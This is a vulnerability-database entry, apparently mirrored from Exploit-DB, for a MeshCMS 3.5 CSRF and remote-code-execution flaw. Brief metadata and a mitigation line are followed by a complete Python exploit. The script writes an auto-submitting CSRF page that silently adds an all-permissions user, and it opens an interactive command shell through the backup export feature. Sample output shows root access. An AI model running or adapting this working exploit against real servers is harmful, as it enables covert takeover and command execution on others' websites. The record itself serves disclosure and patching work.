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MeshCMS
by:
mr_me
8.8
CVSS
HIGH
CSRF vulnerability
352
CWE
Product Name: MeshCMS
Affected Version From: 3.5
Affected Version To: 3.5
Patch Exists: YES
Related CWE: N/A
CPE: a:meshcms:meshcms:3.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Tomcat 7.02/ubuntu 10.04
2010

MeshCMS v3.5 remote code execution exploit

There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. The admin will not be told a user has been added and will land into the admin console without any other suspicion. Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the private/[username].xml config file required for the users authentication. The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.

Mitigation:

Ensure that the CMS is updated to the latest version and that all users are aware of the risks associated with CSRF vulnerabilities.
Source

Exploit-DB raw data:

#!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. 
# The admin will not be told a user has been added and will land into the admin console without any other suspicion. 
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the 
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. 
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
#	| ------------------------------------------ |
#	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
# 
# (+) Writing CSRF..
# (!) Done! check index.html
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member 
#
#	| ------------------------------------------ |
# 	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into CMS.. Logged in successfully
# (+) Be patient, the first few requests are slow.
# (+) Entering interactive remote console (q for quit)
# 
# mr_me@192.168.1.15:8080# id
# 
# uid=0(root) gid=0(root) groups=0(root)
# 
# mr_me@192.168.1.15:8080# uname -a
# 
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
# 
# mr_me@192.168.1.15:8080# q

import sys, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")
parser.add_option("-u", type="string", action="store", dest="username",
                  help="Member/Editor/Admin username")
parser.add_option("-P", type="string", action="store", dest="password",
                  help="Member/Editor/Admin password")
parser.add_option("-c", action="store_true", dest="csrf",
                  help="Create the add member CSRF")
parser.add_option("-e", action="store_true", dest="exploit",
                  help="Exploit the target with a shell (requires a valid account)")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| ------------------------------------------ |"
    print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net ----------------- |\n"

if len(sys.argv) < 9:
	banner()
	parser.print_help()
	sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler
	
def testProxy():
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	opener = urllib2.build_opener(getProxy())
	try:
		check = opener.open("http://www.google.com").read()
	except:
		check = 0
		pass
	if check >= 1:
		sys.stdout.write("proxy is found to be working!\n")
		sys.stdout.flush()
	else:
		print "proxy failed, exiting.."
		sys.exit(1)

def writeCsrf():
	print "(+) Writing CSRF.."
	csrf = ("<html><body onload='document.f.submit()'>"
	"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
	"<input type=\"hidden\" name=\"new\" value=\"true\">"
	"<input type=\"hidden\" name=\"username\" value=\"%s\">"
	"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
	"<input type=\"hidden\" name=\"password1\" value=\"%s\">"
	"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" % 
	(options.target, options.dirPath, options.username, options.password, options.password))
	try:
		mycsrf = open("index.html", "w")
		mycsrf.write(csrf)
		mycsrf.close()
	except:
		print "(-) Failed writing csrf.. exiting."
	print "(!) Done! check index.html"

def interactiveAttack(opener):
	print "(+) Be patient, the first few requests are slow."
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                try:
			cmd = raw_input(hn)
			cmd = '+'.join(cmd.split())
			sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
        		"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
        		% (options.target, options.dirPath, options.target, options.dirPath, cmd))
        		try:
                		check = opener.open(sploit).read()
        		except urllib2.HTTPError, error:
                		check = error.read()
                		pass

			try:
				resp = check.split("standard output:")[1].split("end of standard output")[0]		
        			print resp
			except:
				pass

		except:
			break
	print "\n(-) Exiting.."

def doLogin():
	sys.stdout.write("(+) Logging into CMS.. ")
	sys.stdout.flush()
	adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
	values = {'username' : options.username, 'password' : options.password } 
	data = urllib.urlencode(values)
	cj = CookieJar()
	if options.proxy:
		try:
			opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
		except:
			print "\n(-) Proxy connection failed to remote target"
			sys.exit(1)
	else:
        	try:
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
        	except:
			print "(-) Target connection failed, check your address"
			sys.exit(1)
	if re.search("Login successful", check):
		sys.stdout.write("Logged in successfully\n")
		sys.stdout.flush()
	else:
		sys.stdout.write("Login Failed! Exiting..\n")
		sys.stdout.flush()
		sys.exit(1)
	return opener

if __name__ == "__main__":
	banner()
	if options.exploit:
		if options.proxy:
			testProxy()
		myopener = doLogin()
		interactiveAttack(myopener)
	elif options.csrf:
		writeCsrf()
		addadmin = ""